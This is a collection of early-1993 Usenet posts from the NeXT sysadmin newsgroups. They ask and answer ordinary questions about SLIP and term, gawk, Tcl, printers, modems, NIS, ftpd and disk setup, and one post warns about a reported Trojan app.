From: hugh@ear.mit.edu (Hugh Secker-Walker) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: Term: a SLIP replacement Followup-To: comp.sys.next.software Date: 9 Feb 93 22:46:34 Organization: Massachusetts Institute of Technology Message-ID: <HUGH.93Feb9224634@ear.mit.edu> References: <C1suB5.16J@rice.edu> <1993Feb4.191322.26372@galileo.cc.rochester.edu> In-reply-to: jtod_ltd@uhura.cc.rochester.edu's message of 4 Feb 93 19:13:22 GMT In article <1993Feb4.191322.26372@galileo.cc.rochester.edu> jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: In <C1suB5.16J@rice.edu> bob@ruf.rice.edu (Robert Morrison Dana) writes: >SLIP users take note: >There now is a communications protocol available called "term" that >provides much of the functionality of SLIP..... >Does anybody have this running on a NeXT? It looks like a fantastic >idea, and from what I have seen of it on Linux machines, a significant >improvement over SLIP for those of us who don't need/want all the other >things SLIP does (like NFS). I'll be happy to provide more info for >those who want it. >-Robert I personally didn't get it to work, but I've got a working copy that compiles very nicely under 3.0 and works (so far) on the Sun system that I regularly call into. If you want it, just e-mail me and I'll send along the copy that was sent to me. It's not a "finished" version, nor has it been ^^^^^^^^^^ totally viewed/given the blessing by the original "term" author. But: it works. Use at your own risk (actually, there's only a risk of frustration.) Being the sender of the working copy I'll mention just a couple of points. The sources are POSIX oriented with allowances for some BSD derivatives. (It only just works with the Ultrix MIPS compiler.) It seems to work fine on the NeXTstation, but the suggested defaults for the termrc are not well tuned for high-speed modem users. Besides escapes, which are obviously link dependent, I have had good luck with the following termrc on my v32.bis/v42.bis connection baudrate 38400 compress off window 10 timeout 120 force on noise on The author is incorporating my changes, but he's devoting his energies to a second generation of the suite called 'slap' (serial line access protocol). His sources (not yet reflecting my bug fixes) can be obtained via ftp from tartarus.uwa.edu.au:/pub/oreillym/term/. If there's interest I'll submit my version to sonata. BTW, term is very nice once it's working. Hugh -- Hugh Secker-Walker INTERNET: hugh@mit.edu MIT, Research Lab of Electronics UUCP: mit-eddie!mit-athena!hugh
Newsgroups: comp.sys.next.sysadmin From: gemoe@proximus.north.de (Gerhard Moeller) Subject: Re: awk ARGV ARGC ( unable to access ) References: <1993Feb1.135348.16815@julian.uwo.ca> Sender: gemoe@proximus.north.de Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Tue, 9 Feb 1993 17:39:28 GMT Message-ID: <1993Feb9.173928.7957@proximus.north.de> In article <1993Feb1.135348.16815@julian.uwo.ca> plenson@hi_presure_lab (Peter Lenson) writes: > Hi this is probably one of those FAQ's, however, I'm in rush. Does > the version of awk that comes with NeXTStep 3.0 support the built-in > variable ARGV,ARGC, as defined in THE AWK Programming Language book. No, not that I am aware of. (and I do a lot of awk programming) What you need is gawk. It's on the archives. (I can NeXTmail you my version as well) It is _much_ better (and has even reasonable error messages) GET IT - IT'S WORTH IT!! > Also if it doesn't what else is missing? A lot. ;-) (get gawk....) Gerhard. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: news on the NeXT Message-ID: <1993Feb10.042221.19582@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <64125@mimsy.umd.edu> Date: Wed, 10 Feb 1993 04:22:21 GMT In article <64125@mimsy.umd.edu> gdrew@cs.umd.edu (Greg Drew) writes: > Could someone point me in the right direction for installing netnews software > on a NeXT. I have heard that there are reader applications (NewsGrazer?) out > there, but I am not sure where to find them. Also, will one of the standard > news software packages run on the NeXT ralatively painlessly? Thanks. BANG has a Cnews installer package for the NeXT. We can send it on a floppy for a few dollars, or I can NeXTmail it to you. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: singerm@Informatik.TU-Muenchen.DE (Markus Singer) Subject: NEC P6+ and NS3.0 Originator: singerm@hphalle3j.informatik.tu-muenchen.de Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem) Organization: Technische Universitaet Muenchen, Germany Date: Wed, 10 Feb 1993 10:28:48 GMT Message-ID: <1993Feb10.102848.21005@Informatik.TU-Muenchen.DE> Hello From my former computer I still have a NEC P6+, which I want to use with my NeXTstation running NS3.0. (The NEC doesn't have a serial input, but I got me a serial-to-parallel converter from Star) My question so, can I use my printer with the NXstation under NS3.0 without a third-party driver - if YES please tell me how to accomplish this (i.e. which files to edit...)- otherwise I'd like to know which's the best driver for this. Thanks Markus -- ---------------------------------------------------------------------- Markus A. Singer (singerm@informatik.tu-muenchen.de) Humpa, humpa...
Newsgroups: comp.sys.next.sysadmin From: singerm@Informatik.TU-Muenchen.DE (Markus Singer) Subject: How to install Zyxel properly? Originator: singerm@hphalle3j.informatik.tu-muenchen.de Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem) Organization: Technische Universitaet Muenchen, Germany Date: Wed, 10 Feb 1993 10:34:32 GMT Message-ID: <1993Feb10.103432.21282@Informatik.TU-Muenchen.DE> Hello A few days ago I bought me a Zyxel U-1496E, which I want to use for tip, uucp, SLIP and fax. I also installed a demo version of NXFax. But something went wrong, it seems. So here's my question: How do I have to install the modem? (i.e. which files must be edited,...) Thanks in advance Markus -- ---------------------------------------------------------------------- Markus A. Singer (singerm@informatik.tu-muenchen.de) Humpa, humpa...
From: droege@infko.uni-koblenz.de (Detlev Droege) Newsgroups: comp.sys.next.sysadmin Subject: Re: Need help on "Help" Date: 10 Feb 1993 10:21:30 GMT Organization: CC/CS Uni-Koblenz Distribution: world Message-ID: <1lakvaINNe7o@uniko.uni-koblenz.de> References: <HARDY.93Feb9114349@golem.ps.uci.edu> In article <HARDY.93Feb9114349@golem.ps.uci.edu> hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) writes: > When I upgraded to 3.0 in October Upgrade.app made the following judgment: > > ||There isn't enough space to install English help. > > Does anyone know > where it is located on the CD and where it belongs in the file system? > I could probably poke around the CD-ROM, but I am sure that some of > you know exactly where things are. On the CD-ROM, in directory [/NeXTSTEP_3.0/]NextCD/Packages you find English.pkg. That's it. Double click to intall with Installer.app (what else ?) -- Detlev Droege | droege@infko.uni-koblenz.de Universitaet Koblenz, | (NeXTmail ok) Institut fuer Informatik | Voice: +49 261 9119-421 Rheinau 3-4, D-5400 Koblenz, Germany | Fax: +49 261 9119-499
From: wave@waits.media.mit.edu (Michael B. Johnson) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Re: Help with TCL Message-ID: <1993Feb8.132340.12633@news.media.mit.edu> Date: 8 Feb 93 13:23:40 GMT References: <1993Feb8.113259.697@news.csuohio.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Joe Rosenfeld writes > Jon Vestal (jonv@ptnext.claremont.edu) wrote: > : Hi, > > : Can someone give me some insight on how to compile TCL for NS 3.0. I am > : trying to get Expect up and running and it needs TCL. Thanks. > > Yes, me too. Please POST if you have the answer. > Not much to it, folks. Grab the latest version of tcl from sprite.berkeley.edu, edit the config file to have: set includeDir="/usr/include/ansi" set libc="/lib/libsys_s.a" and you're all set. If you're running 6.5, you will also have to change the function prototype of fseek in tclUnix.h to return an int as opposed to a long: extern int fseek _ANSI_ARGS_((FILE *stream, long offset, int base)); I believe John fixed this in 6.6. Type "make" and you're all set. -- --> Michael B. Johnson --> MIT Media Lab -- Computer Graphics & Animation Group --> (617) 253-0663 -- wave@media-lab.media.mit.edu --> NeXT Mail accepted at wave@nordine.media.mit.edu
Newsgroups: comp.sys.next.sysadmin From: eugene@nshade.uah.ualberta.ca (Eugene Mah) Subject: Help with Pinnacle PMO-650 OD Message-ID: <1993Feb10.170113.8026@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Wed, 10 Feb 1993 17:01:13 GMT I need some help with a PMO-650 OD I just got recently. Plugged it in, and the NeXT seems to recognize it (I'm running it on a color slab with 3.0) but it won't format the disk. It comes up with some console error about 15 cylinders being the maximum or something like that. I haven't got the console error messages on hand unfortunately. Can anyone offer any opinions/advice/solutions? Do I have to set up an entry in disktab? Thanks for the help... ------------------------------------------------------------------- Eugene Mah ----> eugene@uaneuro.uah.ualberta.ca (NeXT-Mail) ----> spandex_ninja@mts.ucs.ualberta.ca (nonNeXT-Mail) grad student/sys admin Department of Radiology University of Alberta Hospitals
Newsgroups: comp.sys.next.sysadmin Subject: HELP with yp/nis and netgroups/networks Message-ID: <1993Feb10.153939.27867@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Wed, 10 Feb 1993 15:39:39 GMT Sender: news@urz.unibas.ch (USENET News System) Organization: Institut fuer Informatik HELP - I'M STUCK (and struck) I am trying to set up a mixed network with NeXTs (netinfo) and Ultrix machines. Netinfo is now running quite well, but I am having trouble with nis. The major problem is with the ypservers file/database. This database should specify the server/slaves for the given domain. On my machine, the command 'ypcat ypservers' causes an indefinite loop and prints all empty lines! If I change the contents (makedbm - ypservers) and end the input with CTRL-D, I get an error message telling me that the data base is bad. Now, neither solution allows me to send (push) updates to the slave servers. What the heck is going on? Am I doing something stupid or is makedbm faulty? The other problem is with the hosts.equiv and rsh/rlogin commands. According to the man pages, an entry of the form '+@netgroup' is supposed to allow all machines/users in that network group to login without a password. Where is netgroup to be specified and how? I thought this ought to be in /etc/networks, but if I entered it there, nothing happens. (I still need to specify a password when logging in.) My files are: /etc/networks localnet 131.152.81 ifi-net loopback 127 loopback-net software-loopback-net /etc/hosts.equiv +@localnet -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: jcorallo@ccsi.com (P. John Corallo) Subject: Synoptics or Zyplex Terminal Server. Message-ID: <1993Feb10.141331.5965@ccsi.com> Sender: jcorallo@ccsi.com Organization: Crystal Computer Systems, Inc. Date: Wed, 10 Feb 1993 14:13:31 GMT If anyone is using Synoptics Terminal server 3395A, which is actually made by Zyplex, there is a new version of the software for it (V4.1.3S80) which fixes many bugs with SLIP, telnet and performance problems. We installed the software a few days and a bunch of problems that we had being trying to fix for months magically disappeared. A lot of errors that Synoptics had continuously blamed on the NeXT and our SLIP software are gone. Here is a run down of things that we have found fixed. -Telnet echoes characters back now as your typing. -Our % CPU used to be always a 100%, not it actually fluctuates. -We used to get a large amount of Port Overrun Errors. -Stations used to loose their connections occasionally. -Any large TCP operation would die after about 500 seconds. -Our transfer rates were about .09 K/s when doing FTP or mail, now they are between 2.5 and 4.5 K/s. -Everything is much faster and reliable. -John Corallo
Newsgroups: comp.sys.next.sysadmin From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: How to disable direct root login? Message-ID: <1993Feb10.193145.16918@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Wed, 10 Feb 1993 19:31:45 GMT We want to be able to /only/ login directly as root on our server. How do we disable it on all the other machines? (of course, we still would like to be able to telnet into the server, and su to root) But we don't want anyone to be able to login directly on any of the other machines as root. Does anyone know what do we have to change? Thanks! ::::::::Apple II forever!!:::::::GO BUCKS!::::::::Play Lacrosse!!:::::::::: : Shane M. Zatezalo : i-net> szatezal@magnus.acs.ohio-state.edu : : CIS Eng Ohio State : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
Newsgroups: comp.sys.next.sysadmin From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: problem with wuarchive-ftpd Message-ID: <1993Feb10.183231.27447@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Wed, 10 Feb 1993 18:32:31 GMT I've got the wuarchive ftp daemon up and running and working fine, with 2 exceptions. Neither the compress nor the tar options work right. If I try to use either, I get zero-length .tar and .Z files. For example, apf-5.0 is a normal text file. A sample ftp session looks like: ftp> get apf-5.0.Z 200 PORT command successful. 150 Opening BINARY mode data connection for /bin/compress. 226 Transfer complete. ftp> get apf-5.0.tar 200 PORT command successful. 150 Opening BINARY mode data connection for /bin/tar. 226 Transfer complete. ftp> 221 Goodbye. rincewind|dmm0t|/Users/dmm0t> ls -l apf* -rw-r--r-- 1 dmm0t 0 Feb 10 13:20 apf-5.0.Z -rw-r--r-- 1 dmm0t 0 Feb 10 13:20 apf-5.0.tar Has anyone else had this problem? I have compress and tar in ~ftp/bin with the same permissions as ls and sh. Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
Newsgroups: comp.sys.next.sysadmin From: mikhe@ida.liu.se (Mike Henry) Subject: Re: Simple question about Host-setup! Message-ID: <1993Feb10.130959.7044@ida.liu.se> Sender: news@ida.liu.se Organization: CIS Dept, Univ of Linkoping, Sweden References: <CHRIS.93Feb5161526@born.iesd.auc.dk> Distribution: comp Date: Wed, 10 Feb 1993 13:09:59 GMT chris@iesd.auc.dk (Christian Callsen) writes: >I am setting my machine up as a standalone un-connected NeXT with the >name ('imladris') using the "local" menu-entry in HostManager. That >seems to be working. > [Commands not working deleted] >Does anyone have a clue about what I am doing wrong here? Am I missing >something? (and if you know, could you please tell me.. :^>) My understanding is that if you have an unconnected standalone NeXT (running 3.0) and you want to name it, you do the following: i) Fire up HostManager.app ii) Choose "Host->open" from the menu (Cmd-o) iii) Pick localhost from the panel. iv) Enter the name you want under "Host Name Aliases" and click "Add". v) Choose "Local..." from the menu vi) Enter the name of the localhost alias in the Hostname box. Click "Set". vii) Reboot and you're done The process for NS 2.x configurations are different. You need to add a host with the name you want under the "Host->new" menu and then do steps v) - vii). This has worked good for me but I'm not certain this is "The Right Way (TM)" to do it. Side effects are that OpenPanels beep when you double click on any choices (but not when you click on the choice and then click on "OK"). You can then do ping/telnet/rlogin to your machine (which is the same as if you do ping/telnet/rlogin to localhost B^). Comments are appreciated. >Chris -Mike -- Mike Henry INET : mikhe@ida.liu.se /// August Wahlstromsv. 4 /// S-182 31 Danderyd \\\/// SWEDEN TEL : +46 8 755-8687 \XX/
Newsgroups: comp.sys.next.sysadmin From: jcorallo@ccsi.com (P. John Corallo) Subject: Try Informix Re: Anyone dealing with Sybase direct Message-ID: <1993Feb10.150150.6112@ccsi.com> Sender: jcorallo@ccsi.com Organization: Crystal Computer Systems, Inc. Date: Wed, 10 Feb 1993 15:01:50 GMT In article <1993Feb5.200704.8391@kynug.org> neil@kynug.org (Neil Greene) writes: > I have attempted to talk with a Sybase rep on 5 occasions now. The first > was prior to the mini-Expo and the rest were with Sybase reps directly. > Oracle has offered developer licenses which entitles you to sell the > Oracle RDBMS at a 30% discount, while the Sybase reps insist on balking at > any prices. Granted, there are some notable differences in the database > engines themselves. But, Sybase wants 11,000+ for a developer license > which includes $7,000 for a years worth of support. The price is not the > matter here and not what upsets me. The problem is in the Sybase rep's > attitude and non-disclosure of information. If they want me to spend > money on their database engine, they should at least tell me how much it > is going to cost and what prices I can expect on different platforms. > > Someone please forward me the name of a good Sybase rep. I don't care > what city he is in or how much the phone calls cost. > -- We had very similar problems with Sybase, we were very committed to their product but did not seem to get much attention from their sales and support staff. So we opened up the specs on our project one more time and brought in Informix and found them to be a world of difference from their competition, not only in service but also in price. The people at Informix were falling over themselves trying to help us, whenever we have questions they usually help us immediately or call us back within a few minutes later. Their product may be a little more cautious in their development cycles than Sybase, but it is extremely competitve in performance. There NeXT support is great they send us new stuff before we even ask for it. The amount of money we saved using Informix over Sybase, allowed us to by a Sparc Database server and and unlimited Informix Server for the same price as a Sybase server for the NeXT. Plus they did not have us pay a large up front fee to be a VAR, it's pretty amazing we did not have to pay them to sell their product. The other day, we got the new release of the server from Informix. When we went to install the software one of the disks had a problem and we could not do the upgrade. We called Informix, immediately they sent out another set of disks, priority over-night. A few minutes later a support guy called us and tried a few things to bring this disk back to life, after a short while he decided their definitely was a problem with the disks and had us give him the serial numbers off the disks. The next day when we got the package, we had a letter from the QC manager at Informix apologizing for the problem and he included a stamped, self-addressed envelope to return the disks to him personally, so they could find out what went wrong with the disks. Another time, we were just looking at a demo of the Informix server for SCO, do not use SCO if you can help it, and our server went down hard. When brought the server up the Informix server had a major problem. We called tech support they went over the problem and decided it was to big for us to fix oursleves. Then they asked us if the could tip into our server. So we set up a modem for them, after about ten tries they finally connected with it, and logged into the server and fixed the problem in about ten minutes. The amazing thing is we had not giving them a penny at the time, and they did not even care, they just wanted to fix the problem first and then worry about who we were. If you need to use an SQL server I would definitely give Informix a look, you may be quite surprised at what you find. -John Corallo
From: pierce@cantrell.tamu.edu (Pierce Cantrell) Newsgroups: comp.sys.next.sysadmin Subject: Re: CSLIP vs. SLIP.... Date: 10 Feb 1993 19:46:21 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1lbm2dINN957@tamsun.tamu.edu> References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> In article <1l9e9rINNc7k@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E. Wiegner) writes: > Is there really a difference between CSLIP and SLIP in terms of > speed. I can get Marble's product with CSLIP for $125 but on the > other hand I can pay nothing and get SLIP for free over the internet. > Please email opinions. > My experience with Marble's Teleconnect version 1.1 is that CSLIP does not work when connecting to another NeXT running Teleconnect 1.1. Marble said it would be fixed in the next release. In addition, my experience with Marble's tech support has been less than satisfactory. -- Pierce E. Cantrell | cantrell@ee.tamu.edu Department of Electrical Engineering | Texas A&M University | tel: (409) 845-7441 College Station, Texas 77843-3128 | fax: (409) 845-6259
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: websterd on OS 3.0 - is there life w/o .nxbf? Date: 10 Feb 1993 20:20:39 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1lbo2n$oqv@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Did anyone figure out how to use websterd on 3.0 w/o these .nxbf files, i.e., without /NextLibrary/References/Webster-Dictionary/Dictionary.nxbf /NextLibrary/References/Webster-Thesaurus/Thesaurus.nxbf BUT with /NextLibrary/References/Webster-Dictionary/Dictionary /NextLibrary/References/Webster-Thesaurus/Thesaurus I tried everything when compiling websterd but it didn't work. I guess, the problem is in libtext.a. ops/usr/local/lib 58: strings libtext.a | grep nxbf Thesaurus.nxbf Dictionary.nxbf CompactDictionary.nxbf Any ideas? Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: disc@vector.intercon.com (David Casti) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Top Date: 10 Feb 1993 20:44:07 GMT Organization: InterCon Systems Corporation Distribution: world Message-ID: <1lbpenINNb92@intercon.intercon.com> Hi, Does anyone have top up and running on their NeXT? I'd really like to have it on mine, but it won't compile right. Thanks, David.
From: cartley@dix.Mines.Colorado.EDU (Craig Artley) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to disable logins on one machine? Help!! Message-ID: <1993Feb10.181954.71127@slate.mines.colorado.edu> Date: 10 Feb 93 18:19:54 GMT References: <C27KGs.uL@usenet.ucs.indiana.edu> Sender: news@slate.mines.colorado.edu Organization: Colorado School of Mines In article <C27KGs.uL@usenet.ucs.indiana.edu> francisr@stupid.ucs.indiana.edu (Rob Francis) writes: > In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> hogan@boetius (Kharim Hogan) writes: > > > >Is it possible to disable network accounts on one machine? > > # A script to put *'s for everyone's passwd to niload on the servers > # to prevent login by unauthorized users That isn't enough, is it? Don't you also have to change the shell to something like /bin/sync or /bin/false? Otherwise, people could rlogin to the server via an entry in ~/.rhosts. [If an appropriate .rhosts entry is present, then the password is not checked.] -- Craig Artley cartley@mines.colorado.edu (303) 273-3479 Geophysics Dept., Colorado School of Mines, Golden, CO 80401
From: pyrros@ouzo.homer.att.com (Christos T. Pyrros) Newsgroups: comp.sys.next.sysadmin Subject: Re: 10baseT Message-ID: <1993Feb10.193453.23767@ulysses.att.com> Date: 10 Feb 93 19:34:53 GMT References: <1993Feb8.121926.4096@nic.csu.net> Organization: AT&T Bell Laboratories, Murray Hill In article <1993Feb8.121926.4096@nic.csu.net> sulistio@sutro.SFSU.EDU (Sulistio Muljadi) writes: > Hi, > I am trying to hook up my NeXT to a 10baseT network, but my NeXT won't > recognize that it's connected to the network. is there something that > I should configure to use the 10baseT?? Thank you Make sure that the 10BaseT hub you are connecting to has link integrity turned on. Chris
Newsgroups: comp.sys.next.sysadmin From: stone@puma.cosy.sbg.ac.at (Peter Steiner) Subject: Re: Using lpr with PC/TCP?? Message-ID: <C28xzC.2H4@cosy.sbg.ac.at> Sender: news@cosy.sbg.ac.at Organization: University of Salzburg / Austria References: <1993Feb8.034333.8624@ecsvax.uncecs.edu> Date: Wed, 10 Feb 1993 18:57:12 GMT In article <1993Feb8.034333.8624@ecsvax.uncecs.edu> timbuck@borg.lib.vt.edu (Tim Buck) writes: > I'm having trouble printing to an HP Deskjet 500 connected to my NeXT from > a DOS machine running PC/TCP v.2.05. I'm using djf v.2.03 to drive the > DeskJet. > > The problem I have is this: any PostScript file I print using "lpr" from > the NeXT works fine; the PostScript code is properly interpreted and I get > the expected printed results. But when I use "lpr" from the DOS machine, > the PostScript code is printed, not the interpreted results. The PS code > is never being processed by the djf filter. > > Can anyone offer me a solution for this? Thanks in advance. There is a problem with some postscript files generated on PCs. The first line of the postscript file starts with " %!PS-Adobe" whereas NeXT postscript files start with "%!PS-Adobe". You see the blank??? This blank causes the NeXT to asume the file to be non postscript and the file is treated like an ascii file! Removing the blank solves it. Do not ask me how?! Bernhard
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: How to attach Micropolis 1924-21 Message-ID: <C29DEL.DK6@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <UfRhQIu00WB=4zVNBO@andrew.cmu.edu> Date: Thu, 11 Feb 1993 00:30:06 GMT Charles William Swiger <infidel+@CMU.EDU> writes: >Excerpts from netnews.comp.sys.next.hardware: 8-Feb-93 How to attach >Micropolis 19.. by Scott Dickson@iris.psu.e >> I know this must be a FAQ, but I just inherited a NeXT Station running >> NS 2.0 and was then given a Micropolis 1924-21 2.4GB disk and was told >> to make it work. >> >Simple: [instructions deleted] I just want to add my $.02 also that I attached a 1924 to a cube last month and it worked just as one would expect. As plug and play as the Seagate 1.2 GB drives we normally use. It was 'configured' by the vendor for Suns. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: tcollins@cisco.com (Tracy Collins) Newsgroups: comp.sys.next.sysadmin Subject: How do I deal with bad blocks? Date: 10 Feb 1993 20:39:11 GMT Organization: cisco Systems Message-ID: <1lbp5fINNc4v@cronkite.cisco.com> While trying to install MusicKit on my colorstation, I get I/O errors that cause the install to fail. I believe that the I/O errors are caused by media errors that are reported to the console (bad blocks). I have a Seagate 400 Mbyte internal drive. I tried to reassign the blocks, but I got an error that said the drive does not support this. Help! thanks, tracy collins tcollins@cisco.com no NeXTMail, please!
From: borchers@poogh.llnl.gov (Robert R. Borchers) Newsgroups: comp.sys.next.sysadmin Subject: ftp logging query Keywords: ftp, logging, anonymous Message-ID: <149656@lll-winken.LLNL.GOV> Date: 11 Feb 93 00:46:51 GMT Sender: usenet@lll-winken.LLNL.GOV I have installed a new ftpd which works fine. Having figured out how to tell the ftpaccess file to turn on logging, I am now trying to find out how to get syslog.conf to tell syslogd to put the logs somewhere. Anybody have any hints? Bob -- Robert R. Borchers L-414 Livermore, Ca 94551 borchers@llnl.gov NeXTmail Welcome
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: ringger@cs.rochester.edu Subject: Splitting 3.0 Between 2 Disks Message-ID: <9302110529.AA06423@sol.cs.rochester.edu> Sender: becker@cs.rochester.edu (Tim Becker) Organization: Computer Science Department University of Rochester Date: Thu, 11 Feb 93 00:29:10 -0500 Hello, everyone. I am currently running NS3.0 on a NeXTstation (non-turbo). Inside the box, I have a ~200 MB Quantum hard-drive; I have a ~650MB Fujitsu hard-drive connected to the external SCSI port. Since I received my station with NS2.1 installed on the internal drive at the time of purchase, I left it there when I installed 3.0 last Fall. All of the 3.0 release is currently on the external drive. Since 3.0 is stable enough for my purposes (I have not crashed the system since installing), I would like to clean off most of the internal drive and move the vitals of 3.0 there. My perception is that the internal drive is faster and that I could move all of the kernel-related stuff there, including swapfiles, etc. What do you all recommend in a situation like mine? Have any of you split the system across disks like this with noticeable performance gains? I would like to have (near) optimal speed and (near) optimal disk-utilization. Since I don't regularly read this newsgroup, please reply by E-mail. My address is in the .sig. Thanks ~850 MB. --Eric --- Eric K. Ringger ringger@cs.rochester.edu Dept. of Computer Science ------- NeXT-Mail Welcome University of Rochester Phone: (716) 275-0922 Rochester NY 14627-0226 FAX: (716) 461-2018 |||| | | | | | | | | | | | | | | | | ||||
From: bkropp@slate.mines.colorado.edu (Dr. Manhattan) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Problem program called SuperHack.app Message-ID: <1993Feb11.070905.30969@slate.mines.colorado.edu> Date: 11 Feb 93 07:09:05 GMT Sender: bkropp@slate.mines.colorado.edu (Dr. Manhattan) Organization: Colorado School of Mines I recently have had some problems with a program that was ftp'd from sonata.cc.purdue.edu called SuperHack.app that appears to be something of a Trojan Horse. It purports to be a program to change your recycle icon if you install it. Once installed, it prevents login from a NeXT console. The problem can be fixed by remotely loggin in or logging in as root, but is irritating and time wasting none the less. It would be possible for it to do other damage as well, such as mailing your password to someone, but I have not found it to be that harmfull yet. Has anyone else had any experience with this program or know anything about it? Any information you could mail me or post would be useful. -- _________________________________________________________________________ There is nothing either good or bad, but thinking makes it so. -Hamlet _________________________________________________________________________
Newsgroups: comp.sys.next.sysadmin Subject: printer counter Message-ID: <1993Feb10.191424.119860@marshall.wvnet.edu> From: mth011@marshall.wvnet.edu Date: 10 Feb 93 19:14:24 -0500 Organization: Marshall University I must compose a cost information sheet for the lab here and one of the things is the consumables for the printer. I need to have a program that tells me how many pages were printed on each printer. Mike Peele
From: tilley@ccu.umanitoba.ca (Richard Tilley) Newsgroups: comp.sys.next.sysadmin Subject: netblazer client, NeXT host, even parity, some success Keywords: slip ppp Message-ID: <C2AA75.AEt@ccu.umanitoba.ca> Date: 11 Feb 93 12:18:40 GMT Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada I just(barely) got a netblazer to dial a NeXT. The problem was that the NeXT is sending the "login:" prompt with even parity. This makes it difficult to recognise the prompt. I ended up checking only for a ":", but would like to test for at lease "n:" my chat.txt file looks something like this: :unix # It is worse than even parity. \@^M\n\@^M\@^M\nrtille\@y\@ lo\@gi\@n:\@ # I tried the obvious like O,\xee: # I tried most things up to, but not including O,\\@n: # Do not change the following line unless necessary. e1,10,30,2,: # I don't know whether any of the the pauses are needed. # Just being cautious, since each change seems to require a reboot. e2,1,22,100,pause a second u22,5,100,3 s3,5,100,4,\r e4,5,30,5,password: o99,slip o99,ppp o99,Packet mode enabled o99,Your very own connect message goes here. e5,1,25,100,pause a second p25,5,100,6 s6,5,100,7,\r How can I test for the login prompt? -- .. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.sysadmin From: seth@brunswick.cc.columbia.edu (Seth Strumph) Subject: loginwindow can't find windowserver port Message-ID: <1993Feb11.165108.19923@news.columbia.edu> Sender: usenet@news.columbia.edu (The Network News) Organization: Columbia University Distribution: na Date: Thu, 11 Feb 1993 16:51:08 GMT i think i've seen this asked before, but since i didn't have this problem before yesterday, i wasn't paying attention... can anyone tell me why a bunch of next's would suddenly start having trouble (long hangs) while logging users in, and write the following to the console: loginwindow[199]: loginwindow: could not find WindowServer port! this started happening intermittently yesterday in a lab of 3.0 nextstations after one of our two servers was rebooted. the lab machines do get parts of /NextLibrary off of the servers, but have /NextLibrary/{Fonts,PS2Resources} and /usr/lib/NextStep local. we run amd to get the rest of /NextLibrary and various other parts of the extended system from our servers. please reply by email and i will post a summary when the problem is solved. thanks. /seth seth@columbia.edu
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware Subject: Where can I find a ppd file for an HP Laserjet 4M? Date: 11 Feb 1993 19:51:58 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1leaouINN5qr@tamsun.tamu.edu> Keywords: ppd files, HP Laserjet 4M, pot-bellied pigs The subject line says it all. We just got one hooked to our network, and I want to exploit the 600 dpi. -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
